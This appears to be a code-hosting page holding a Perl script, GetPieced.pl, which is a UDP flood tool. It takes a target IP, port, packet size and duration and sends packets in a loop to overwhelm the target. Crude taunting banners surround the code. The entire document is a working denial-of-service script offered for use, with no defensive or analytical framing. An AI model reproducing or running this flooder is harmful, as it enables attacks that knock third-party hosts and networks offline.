-
Notifications
You must be signed in to change notification settings - Fork 47
/
GetPieced.pl
50 lines (39 loc) · 2.13 KB
/
GetPieced.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/perl
use Term::ANSIColor qw(:constants);
$Term::ANSIColor::AUTORESET = 2;
print BOLD RED "IP\n";
print BOLD YELLOW "port\n";
print BOLD GREEN "packets";
print BOLD BLUE "Time\n";
print BOLD RED "GetPieced Runs You\n";
##
# GetPieced
##
use Socket;
use strict;
my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 100);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print BOLD GREEN<<EOTEXT;
██████╗ ███████╗████████╗██████╗ ██╗███████╗ ██████╗███████╗██████╗
██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗██║██╔════╝██╔════╝██╔════╝██╔══██╗
██║ ███╗█████╗ ██║ ██████╔╝██║█████╗ ██║ █████╗ ██║ ██║
██║ ██║██╔══╝ ██║ ██╔═══╝ ██║██╔══╝ ██║ ██╔══╝ ██║ ██║
╚██████╔╝███████╗ ██║ ██║ ██║███████╗╚██████╗███████╗██████╔╝
╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝╚══════╝╚═════╝
GetPieced Run's You
Now Call Me Daddy
EOTEXT
print "Fucking: $ip " . ($port ? $port : "random") . "
Getting Fucked with " .
($size ? "$size byte's" : "Error..") . "
~Call Me Daddy Bitch~ " .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1500000-64)+64) ;
$pport = $port ? $port : int(rand(1500000))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
$iaddr));}